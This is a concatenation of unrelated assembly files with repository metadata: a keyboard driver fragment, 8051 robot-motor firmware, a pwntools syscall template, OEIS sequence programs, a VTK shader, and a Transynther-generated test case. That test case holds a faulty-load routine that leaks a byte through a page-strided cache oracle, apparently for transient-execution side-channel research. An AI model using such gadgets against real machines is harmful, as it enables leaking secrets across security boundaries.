length kbdNameTable,
offset kbdNameTable,
0
>
kbdNameTable lptr.char kbdStr
lptr.char 0
kbdStr chunk.char "German Extended Keyboard",0
KbdExtendedInfoSeg ends
end
| 19.016949 | 79 | 0.631016 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Keyboard/German/Extended/keyboard.asm | 1,122 | Assembly |
;ASTER 02/03/2009 2135
;TO BE ASSEMBLED IN KEIL MICROVISION V3.60
;ARTIFICIAL INTELLIGENCE
;MICROCOMPUTER B
;CODE BASE COMPLETED : 03/03/2009 2251
;REV 3 LAST UPDATED 28/04/2009 1410
;-----------------------------------------------------------------------------------------------------------
;SET THE ASSEMBLER FOR AT89S52
$NOMOD51
$INCLUDE (AT89X52.h)
;DEFINITIONS
SBIT SYSBUSY=P1^7 ;LOW=> SYSTEM IS HANDLING AN OPERATION
;-----------------------------------------------------------------------------------------------------------
;MICROCOMPUTER INITIALIZATIONS
ORG 0000H
RESET: SJMP 0030H
ORG 0030H
START: NOP
MOV SP,#10H ;RELOCATE STACK OVER 10H
CLR A
MOV P0,A
MOV P1,A
MOV P2,A
MOV P3,#0FFH
SETB P1.7
LCALL DELAYIN
MOV R0,#20H ;CLEAR RAM FROM 20H TO 7FH
CLR A
CLRALL: MOV @R0,A
INC R0
CJNE R0,#7FH,CLRALL
MOV T2CON,#30H ;SET UP THE UART 9600BPS
MOV RCAP2H,#0FFH
MOV RCAP2L,#0DCH
MOV TMOD,#10H ;CONFIGURE TIMER 1 FOR SERVO USE
ANL PCON,#7FH
SETB PSW.3 ;R0 OF BANK1 POINTS TO COMMAND SPACE(60-67H)
MOV R0,#60H
CLR PSW.3
MOV IE,#90H ;ENABLE INTERRUPTS: SERIAL
MOV IP,#10H
MOV SCON,#58H
SETB TR2 ;START BAUD GEN TIMER
MOV R0,#60H
;----------------------------------------------------------------------------------------------------------
;**********************************************************************************************************
;THE PROGRAM MAIN
;PASS DIRECTION IN R2,BANK0 : 00H->FORWARD, 01H->BACKWARD, 02H->ROLL AND STOP, 03H->HARD STOP
;CALL THE CORRESPONDING MOTOR FUNCTION AFTER LOADING R2 WITH THE FUNCTION CODES LISTED ABOVE
MAIN: MOV A,@R0
JZ NOCOMM
MOV @R0,#00H ;CLEAR THE PROCESSED COMMAND
/* CJNE A,#61H,VERFLL ;COMMAND RANGE CHECK *DONE IN THE SERIAL ROUTINE *UNDER TEST
VERFLL: JC NOCOMM
CJNE A,#80H,VERFLU
VERFLU: JNC NOCOMM */
MOV DPTR,#1000H
CLR C
SUBB A,#60H
MOV B,#16
MUL AB
ADD A,DPL
MOV DPL,A
MOV A,B
ADDC A,DPH
MOV DPH,A
CLR A
JMP @A+DPTR
NOCOMM: INC R0
CJNE R0,#68H,INRAN
MOV R0,#60H
INRAN: NOP
MAIN_END: LJMP MAIN
;MAIN ENDS HERE
;**********************************************************************************************************
;----------------------------------------------------------------------------------------------------------
;COMMAND PROCESSING
ORG 1010H ;CLOSE RIGHT CLASPER
CLR SYSBUSY
MOV R2,#00H
LCALL CRGT
SETB SYSBUSY
LJMP NOCOMM
ORG 1020H ;OPEN RIGHT CLASPER
CLR SYSBUSY
MOV R2,#01H
LCALL CRGT
SETB SYSBUSY
LJMP NOCOMM
ORG 1030H ;RIGHT SHOULDER UP
CLR SYSBUSY
MOV R2,#00H
LCALL SHLRGT
LJMP NOCOMM
ORG 1040H ;LEFT SHOULDER UP
CLR SYSBUSY
MOV R2,#00H
LCALL SHLLFT
LJMP NOCOMM
ORG 1050H ;RIGHT SHOULDER DOWN
CLR SYSBUSY
MOV R2,#01H
LCALL SHLRGT
LJMP NOCOMM
ORG 1060H ;LEFT SHOULDER DOWN
CLR SYSBUSY
MOV R2,#01H
LCALL SHLLFT
LJMP NOCOMM
ORG 1070H ;RIGHT FOREARM UP
CLR SYSBUSY
MOV R2,#00H
LCALL ELRGT
LJMP NOCOMM
ORG 1080H ;LEFT FOREARM UP
CLR SYSBUSY
MOV R2,#00H
LCALL ELLFT
LJMP NOCOMM
ORG 1090H ;RIGHT FOREARM DOWN
CLR SYSBUSY
MOV R2,#01H
LCALL ELRGT
LJMP NOCOMM
ORG 10A0H ;LEFT FOREARM DOWN
CLR SYSBUSY
MOV R2,#01H
LCALL ELLFT
LJMP NOCOMM
ORG 10B0H ;MOVE FORWARD
CLR SYSBUSY
MOV R2,#00H
LCALL BSERGT
LCALL BSELFT
LJMP NOCOMM
ORG 10C0H ;MOVE BACKWARD
CLR SYSBUSY
MOV R2,#01H
LCALL BSERGT
LCALL BSELFT
LJMP NOCOMM
ORG 10D0H ;TURN RIGHT
CLR SYSBUSY
MOV R2,#00H
LCALL BSELFT
MOV R2,#01H
LCALL BSERGT
LJMP NOCOMM
ORG 10E0H ;TURN LEFT
CLR SYSBUSY
MOV R2,#00H
LCALL BSERGT
MOV R2,#01H
LCALL BSELFT
LJMP NOCOMM
ORG 10F0H ;CLOSE LEFT CLASPER
CLR SYSBUSY
MOV R2,#01H
LCALL CLFT
SETB SYSBUSY
LJMP NOCOMM
ORG 1100H ;OPEN LEFT CLASPER
CLR SYSBUSY
MOV R2,#00H
LCALL CLFT
SETB SYSBUSY
LJMP NOCOMM
ORG 1110H ;MOVEMENT STOP
SETB SYSBUSY
MOV R2,#02H
LCALL BSERGT
LCALL BSELFT
LJMP NOCOMM
ORG 1120H ;RIGHT SHOULDER STOP
SETB SYSBUSY
MOV R2,#03H
LCALL SHLRGT
LJMP NOCOMM
ORG 1130H ;LEFT SHOULDER STOP
SETB SYSBUSY
MOV R2,#03H
LCALL SHLLFT
LJMP NOCOMM
ORG 1140H ;RIGHT FOREARM STOP
SETB SYSBUSY
MOV R2,#03H
LCALL ELRGT
LJMP NOCOMM
ORG 1150H ;LEFT FOREARM STOP
SETB SYSBUSY
MOV R2,#03H
LCALL ELLFT
LJMP NOCOMM
ORG 1160H ;TURN HEAD RIGHT
CLR SYSBUSY
MOV R2,#00H
LCALL HEADM
LJMP NOCOMM
ORG 1170H ;TURN HEAD LEFT
CLR SYSBUSY
MOV R2,#01H
LCALL HEADM
LJMP NOCOMM
ORG 1180H ;HARD STOP HEAD
SETB SYSBUSY
MOV R2,#03H
LCALL HEADM
LJMP NOCOMM
;----------------------------------------------------------------------------------------------------------
;----------------------------------------------------------------------------------------------------------
;INTERRUPT SERVICE ROUTINES
;SERIAL INTERRUPT
ORG 0023H
LJMP 1400H
ORG 1400H
SERCON: CLR TR2
PUSH ACC
JNB RI,TXI
CLR RI
MOV A,SBUF
JB PSW.5,SKIPC
CJNE A,#31H,EXITC ;PSW.5 SET IMPLIES CONNECTION ESTABLISHED
MOV SBUF,#31H ;C-ACK CONNECT ADDRESS=31H
SETB PSW.5
SJMP EXITC
SKIPC: CJNE A,#32H,SKIPC2 ;SEND DISCONNECT AND DROP CONNECTION IF DISCONNECT IS RECEIVED
MOV SBUF,#32H ;D-ACK DISCONNECT ADDRESS=32H
CLR PSW.5
SJMP EXITC
SKIPC2: SETB PSW.3
CJNE A,#61H,VERFLL ;COMMAND RANGE CHECK
VERFLL: JC EXITC
CJNE A,#80H,VERFLU
VERFLU: JNC EXITC
MOV @R0,A ;LOAD THE RECEIVED COMMAND IN THE COMMAND SPACE(60-67H)
INC R0
CJNE R0,#68H,INRANGE
MOV R0,#60H
INRANGE: MOV SBUF,#39H ;SEND ACK
CLR PSW.3
SJMP EXITC
TXI: CLR TI
EXITC: POP ACC
SETB TR2
NOP
RETI
;----------------------------------------------------------------------------------------------------------
;MOTOR DRIVING ROUTINES
;MOTOR 1: BASE RIGHT MOTOR :: MOTOR CODE: 01H
BSERGT: NOP
CJNE R2,#00H,BACK1
SETB P2.0
CLR P2.1
MOV 34H,#00H
SJMP DONE1
BACK1: CJNE R2,#01H,RSTP1
CLR P2.0
SETB P2.1
MOV 34H,#01H
SJMP DONE1
RSTP1: CJNE R2,#02H,HSTP1
CLR P2.0
CLR P2.1
MOV 34H,#04H
SJMP DONE1
HSTP1: MOV R3,34H
CJNE R3,#00H,RREV1
RFOR1: CLR P2.0
CLR P2.1
LCALL DELAYHS
SETB P2.1
LCALL DELAYHS
CLR P2.1
MOV 34H,#04H
SJMP DONE1
RREV1: CJNE R3,#01H,DONE1
CLR P2.0
CLR P2.1
LCALL DELAYHS
SETB P2.0
LCALL DELAYHS
CLR P2.0
MOV 34H,#04H
DONE1: NOP
RET
;MOTOR 2: BASE LEFT MOTOR :: MOTOR CODE: 02H
BSELFT: NOP
CJNE R2,#00H,BACK2
SETB P2.2
CLR P2.3
MOV 38H,#00H
SJMP DONE2
BACK2: CJNE R2,#01H,RSTP2
CLR P2.2
SETB P2.3
MOV 38H,#01H
SJMP DONE2
RSTP2: CJNE R2,#02H,HSTP2
CLR P2.2
CLR P2.3
MOV 38H,#04H
SJMP DONE2
HSTP2: MOV R3,38H
CJNE R3,#00H,RREV2
RFOR2: CLR P2.2
CLR P2.3
LCALL DELAYHS
SETB P2.3
LCALL DELAYHS
CLR P2.3
MOV 38H,#04H
SJMP DONE2
RREV2: CJNE R3,#01H,DONE2
CLR P2.2
CLR P2.3
LCALL DELAYHS
SETB P2.2
LCALL DELAYHS
CLR P2.2
MOV 38H,#04H
DONE2: NOP
RET
;MOTOR 3: SHOULDER RIGHT MOTOR :: MOTOR CODE: 03H
SHLRGT: NOP
CJNE R2,#00H,BACK3
SETB P2.4
CLR P2.5
MOV 3CH,#00H
SJMP DONE1
BACK3: CJNE R2,#01H,RSTP3
CLR P2.4
SETB P2.5
MOV 3CH,#01H
SJMP DONE3
RSTP3: CJNE R2,#02H,HSTP3
CLR P2.4
CLR P2.5
MOV 3CH,#04H
SJMP DONE3
HSTP3: MOV R3,3CH
CJNE R3,#00H,RREV3
RFOR3: CLR P2.4
CLR P2.5
LCALL DELAYHS
SETB P2.5
LCALL DELAYHS
CLR P2.5
MOV 3CH,#04H
SJMP DONE3
RREV3: CJNE R3,#01H,DONE3
CLR P2.4
CLR P2.5
LCALL DELAYHS
SETB P2.4
LCALL DELAYHS
CLR P2.4
MOV 3CH,#04H
DONE3: NOP
RET
;MOTOR 4: SHOULDER LEFT MOTOR :: MOTOR CODE: 04H
SHLLFT: NOP
CJNE R2,#00H,BACK4
SETB P2.6
CLR P2.7
MOV 40H,#00H
SJMP DONE4
BACK4: CJNE R2,#01H,RSTP4
CLR P2.6
SETB P2.7
MOV 40H,#01H
SJMP DONE4
RSTP4: CJNE R2,#02H,HSTP4
CLR P2.6
CLR P2.7
MOV 40H,#04H
SJMP DONE4
HSTP4: MOV R3,40H
CJNE R3,#00H,RREV4
RFOR4: CLR P2.6
CLR P2.7
LCALL DELAYHS
SETB P2.7
LCALL DELAYHS
CLR P2.7
MOV 40H,#04H
SJMP DONE4
RREV4: CJNE R3,#01H,DONE4
CLR P2.6
CLR P2.7
LCALL DELAYHS
SETB P2.6
LCALL DELAYHS
CLR P2.6
MOV 40H,#04H
DONE4: NOP
RET
;MOTOR 5: ARM ELBOW RIGHT MOTOR :: MOTOR CODE : 05H
ELRGT: NOP
CJNE R2,#00H,BACK5
SETB P1.0
CLR P1.1
MOV 44H,#00H
SJMP DONE5
BACK5: CJNE R2,#01H,RSTP5
CLR P1.0
SETB P1.1
MOV 44H,#01H
SJMP DONE5
RSTP5: CJNE R2,#02H,HSTP5
CLR P1.0
CLR P1.1
MOV 44H,#04H
SJMP DONE5
HSTP5: MOV R3,44H
CJNE R3,#00H,RREV5
RFOR5: CLR P1.0
CLR P1.1
LCALL DELAYHS
SETB P1.1
LCALL DELAYHS
CLR P1.1
MOV 44H,#04H
SJMP DONE5
RREV5: CJNE R3,#01H,DONE5
CLR P1.0
CLR P1.1
LCALL DELAYHS
SETB P1.0
LCALL DELAYHS
CLR P1.0
MOV 44H,#04H
DONE5: NOP
RET
;MOTOR 6: ARM ELBOW LEFT MOTOR :: MOTOR CODE : 06H
ELLFT: NOP
CJNE R2,#00H,BACK6
SETB P1.2
CLR P1.3
MOV 48H,#00H
SJMP DONE6
BACK6: CJNE R2,#01H,RSTP6
CLR P1.2
SETB P1.3
MOV 48H,#01H
SJMP DONE6
RSTP6: CJNE R2,#02H,HSTP6
CLR P1.2
CLR P1.3
MOV 48H,#04H
SJMP DONE6
HSTP6: MOV R3,48H
CJNE R3,#00H,RREV6
RFOR6: CLR P1.2
CLR P1.3
LCALL DELAYHS
SETB P1.3
LCALL DELAYHS
CLR P1.3
MOV 48H,#04H
SJMP DONE6
RREV6: CJNE R3,#01H,DONE6
CLR P1.2
CLR P1.3
LCALL DELAYHS
SETB P1.2
LCALL DELAYHS
CLR P1.2
MOV 48H,#04H
DONE6: NOP
RET
;MOTOR 7: RIGHT CLASPER :: MOTOR CODE: 07H : SIGNAL ON P1.4
CRGT: CJNE R2,#00H,CLOPENR
CLCLOSER: MOV R6,#05H
AGAINR: MOV R7,#02H
N45MSR: CLR P1.4
CLR TR1
CLR TF1
MOV TH1,#5DH
MOV TL1,#0FDH
SETB TR1
WAITLR: JNB TF1,WAITLR
CLR TF1
DJNZ R7,N45MSR
CLR TR1
MOV TH1,#0FDH
MOV TL1,#0D7H
SETB P1.4
SETB TR1
WAITHR: JNB TF1,WAITHR
DJNZ R6,AGAINR
SJMP EXITCR
CLOPENR: MOV R6,#08H
AGAINRC: CLR TR1
MOV TH1,#0E2H
MOV TL1,#0D7H
SETB P1.4
SETB TR1
WAITHRC: JNB TF1,WAITHRC
MOV R7,#02H
N45MSRC: CLR P1.4
CLR TR1
CLR TF1
MOV TH1,#5DH
MOV TL1,#0FDH
SETB TR1
WAITLRC: JNB TF1,WAITLRC
CLR TF1
DJNZ R7,N45MSRC
DJNZ R6,AGAINRC
EXITCR: CLR TR1
RET
;MOTOR 8: LEFT CLASPER :: MOTOR CODE : 08H : SIGNAL ON P1.5
CLFT: CJNE R2,#00H,CLOPENL
CLCLOSEL: MOV R6,#0CH
AGAINL: MOV R7,#02H
N45MSL: CLR P1.5
CLR TR1
CLR TF1
MOV TH1,#5DH
MOV TL1,#0FDH
SETB TR1
WAITLL: JNB TF1,WAITLL
CLR TF1
DJNZ R7,N45MSL
CLR TR1
MOV TH1,#0FDH
MOV TL1,#0D7H
SETB P1.5
SETB TR1
WAITHL: JNB TF1,WAITHL
DJNZ R6,AGAINL
SJMP EXITCL
CLOPENL: MOV R6,#0AH
AGAINLC: CLR TR1
MOV TH1,#0E2H
MOV TL1,#0D7H
SETB P1.5
SETB TR1
WAITHLC: JNB TF1,WAITHLC
MOV R7,#02H
N45MSLC: CLR P1.5
CLR TR1
CLR TF1
MOV TH1,#5DH
MOV TL1,#0FDH
SETB TR1
WAITLLC: JNB TF1,WAITLLC
CLR TF1
DJNZ R7,N45MSLC
DJNZ R6,AGAINLC
EXITCL: CLR TR1
RET
;MOTOR 9: HEAD MOVEMENT MOTOR :: MOTOR CODE : 09H
HEADM: NOP
CJNE R2,#00H,BACK9
SETB P0.0
CLR P0.1
MOV 30H,#00H
SJMP DONE9
BACK9: CJNE R2,#01H,RSTP9
CLR P0.0
SETB P0.1
MOV 30H,#01H
SJMP DONE9
RSTP9: CJNE R2,#02H,HSTP9
CLR P0.0
CLR P0.1
MOV 30H,#04H
SJMP DONE9
HSTP9: MOV R3,30H
CJNE R3,#00H,RREV9
RFOR9: CLR P0.0
CLR P0.1
LCALL DELAYHS
SETB P0.1
LCALL DELAYHS
CLR P0.1
MOV 30H,#04H
SJMP DONE9
RREV9: CJNE R3,#01H,DONE9
CLR P0.0
CLR P0.1
LCALL DELAYHS
SETB P0.0
LCALL DELAYHS
CLR P0.0
MOV 30H,#04H
DONE9: NOP
RET
;-------------------------------------------------------------------------------------------------
;DELAY ROUTINES
;DELAY INIT
DELAYIN: MOV R7,#07H
MOV R6,#0FFH
MOV R5,#0FFH
DJNZ R5,$
DJNZ R6,$-2
DJNZ R7,$-4
RET
DELAYHS: MOV R7,#0A0H
DJNZ R7,$
RET
DELAYFOR: MOV R7,#0FH
MOV R6,#0FFH
MOV R5,#0FFH
DJNZ R5,$
DJNZ R6,$-2
DJNZ R7,$-4
RET
;--------------------------------------------------------------------------------------------------
END | 17.265693 | 108 | 0.595502 | [
"MIT"
] | xfrings/8051-Experiments | Multiprocessor-Communication/MC B/Bcomp DemoVersion.asm | 11,827 | Assembly |
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="size"/>
<%docstring>
Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.
Arguments:
size(int): size
</%docstring>
${syscall('SYS_epoll_create', size)}
| 20.230769 | 81 | 0.703422 | [
"MIT"
] | IMULMUL/python3-pwntools | pwnlib/shellcraft/templates/i386/android/epoll_create.asm | 263 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xaff6, %r8
nop
nop
nop
nop
nop
add $5599, %r15
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
movups %xmm2, (%r8)
nop
nop
nop
add %r12, %r12
lea addresses_A_ht+0x1ff6, %rsi
lea addresses_normal_ht+0xc026, %rdi
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $119, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %r12
lea addresses_WT_ht+0xadd6, %rsi
lea addresses_WC_ht+0xc3f6, %rdi
clflush (%rsi)
nop
xor $49339, %r15
mov $35, %rcx
rep movsl
nop
cmp $59968, %r15
lea addresses_UC_ht+0x1ed9a, %rsi
and $52823, %r12
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r15
nop
add $38761, %rdi
lea addresses_WT_ht+0xdfe6, %r15
nop
nop
nop
cmp $27692, %r14
mov $0x6162636465666768, %r8
movq %r8, (%r15)
nop
dec %rcx
lea addresses_normal_ht+0x183f6, %rsi
lea addresses_WC_ht+0x172b4, %rdi
add $43359, %rbx
mov $4, %rcx
rep movsb
nop
and %r12, %r12
lea addresses_WC_ht+0x133f6, %rdi
nop
nop
nop
nop
xor $24247, %r8
mov (%rdi), %r12d
nop
nop
nop
nop
cmp $22371, %r8
lea addresses_D_ht+0x1b9f6, %rsi
nop
nop
nop
nop
nop
sub $1379, %rbx
mov (%rsi), %r14
nop
nop
nop
nop
nop
add $20718, %rcx
lea addresses_normal_ht+0xe316, %rsi
lea addresses_UC_ht+0x12956, %rdi
nop
nop
nop
and %r15, %r15
mov $68, %rcx
rep movsb
nop
add $62004, %r8
lea addresses_UC_ht+0x1c0e, %rcx
sub %r14, %r14
movl $0x61626364, (%rcx)
nop
nop
nop
nop
mfence
lea addresses_normal_ht+0x13d26, %r12
nop
nop
nop
nop
and %r8, %r8
movups (%r12), %xmm2
vpextrq $1, %xmm2, %rdi
nop
nop
xor $19372, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %rbx
push %rsi
// Faulty Load
lea addresses_UC+0x103f6, %r10
nop
nop
nop
nop
inc %r13
movaps (%r10), %xmm2
vpextrq $1, %xmm2, %rbx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'00': 13653}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.767568 | 2,999 | 0.660688 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_13653_529.asm | 6,802 | Assembly |
; A132738: Row sums of triangle A132737.
; 1,2,7,16,33,66,131,260,517,1030,2055,4104,8201,16394,32779,65548,131085,262158,524303,1048592,2097169,4194322,8388627,16777236,33554453,67108886,134217751,268435480,536870937,1073741850,2147483675,4294967324,8589934621,17179869214,34359738399,68719476768,137438953505,274877906978,549755813923,1099511627812,2199023255589,4398046511142,8796093022247,17592186044456,35184372088873,70368744177706,140737488355371,281474976710700,562949953421357,1125899906842670,2251799813685295,4503599627370544,9007199254741041,18014398509482034,36028797018964019,72057594037927988,144115188075855925,288230376151711798,576460752303423543,1152921504606847032,2305843009213694009,4611686018427387962,9223372036854775867,18446744073709551676,36893488147419103293,73786976294838206526,147573952589676412991,295147905179352825920,590295810358705651777,1180591620717411303490,2361183241434822606915,4722366482869645213764,9444732965739290427461,18889465931478580854854,37778931862957161709639,75557863725914323419208,151115727451828646838345,302231454903657293676618,604462909807314587353163,1208925819614629174706252,2417851639229258349412429,4835703278458516698824782,9671406556917033397649487,19342813113834066795298896,38685626227668133590597713,77371252455336267181195346,154742504910672534362390611,309485009821345068724781140,618970019642690137449562197,1237940039285380274899124310,2475880078570760549798248535,4951760157141521099596496984,9903520314283042199192993881,19807040628566084398385987674,39614081257132168796771975259,79228162514264337593543950428,158456325028528675187087900765,316912650057057350374175801438,633825300114114700748351602783,1267650600228229401496703205472
mov $1,$0
sub $0,1
add $1,1
mov $2,2
pow $2,$1
add $0,$2
trn $0,3
add $0,1
| 149.083333 | 1,671 | 0.917272 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/132/A132738.asm | 1,789 | Assembly |
; A033271: Number of odd nonprimes <= n.
; 1,1,1,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,5,5,6,6,6,6,6,6,7,7,8,8,8,8,9,9,9,9,9,9,10,10,10,10,11,11,12,12,12,12,13,13,14,14,14,14,14,14,15,15,16,16,16,16,17,17,17,17,17,17,18,18,19,19,19,19
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
add $3,1
cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
add $0,1
mul $3,$0
sub $3,7
gcd $3,2
sub $3,1
add $1,$3
lpe
| 23 | 197 | 0.571429 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/033/A033271.asm | 483 | Assembly |
; A291501: The arithmetic function uhat(n,1,7).
; -41,-41,-41,-41,-41,-41,-41,-41,-45,-50,-55,-60,-65,-70,-75,-80,-85,-90,-95,-100,-105,-110,-115,-120,-125,-130,-135,-140,-145,-150,-155,-160,-165,-170,-175,-180,-185,-190,-195,-200,-205,-210,-215,-220,-225,-230,-235,-240,-245,-250,-255,-260,-265,-270,-275,-280,-285,-290,-295,-300,-305,-310,-315,-320,-325,-330,-335,-340,-345,-350
sub $0,1
mul $0,5
mov $2,$0
mov $0,3
mov $1,33
add $2,2
trn $1,$2
lpb $0
mov $0,2
add $2,$1
mov $1,1
add $2,9
sub $1,$2
lpe
mov $0,$1
| 27.684211 | 332 | 0.568441 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/291/A291501.asm | 526 | Assembly |
!!ARBfp1.0
# This is the fragment program for two
# component dependent data with no shading
# We need some temporary variables
TEMP temp1, temp2, temp3;
TEMP finalColor, finalOpacity;
# We are going to use the first
# texture coordinate
ATTRIB tex0 = fragment.texcoord[0];
# This is our output color
OUTPUT out = result.color;
# Look up the scalar values / gradient
# magnitude in the first volume
TEX temp1, tex0, texture[0], 3D;
# Swizzle this to use (a,r) as texture
# coordinates for color, and (g,b) for
# opacity
SWZ temp2, temp1, a, r, 1, 1;
SWZ temp3, temp1, g, b, 1, 1;
# Use the (a,r) coordinate to look up a
# final color in the second texture
# (this is a 2D texture)
TEX finalColor, temp2, texture[1], 2D;
# Use the (g,b) coordinate to look up a
# final opacity in the fourth texture
# (this is a 2D texture)
TEX finalOpacity, temp3, texture[3], 2D;
# Combine these into the result
MOV out, finalColor;
MOV out.w, finalOpacity.w;
END
| 23.365854 | 42 | 0.719207 | [
"BSD-3-Clause"
] | CDAT/VTK | Rendering/VolumeOpenGL/vtkVolumeTextureMapper3D_TwoDependentNoShadeFP.asm | 958 | Assembly |
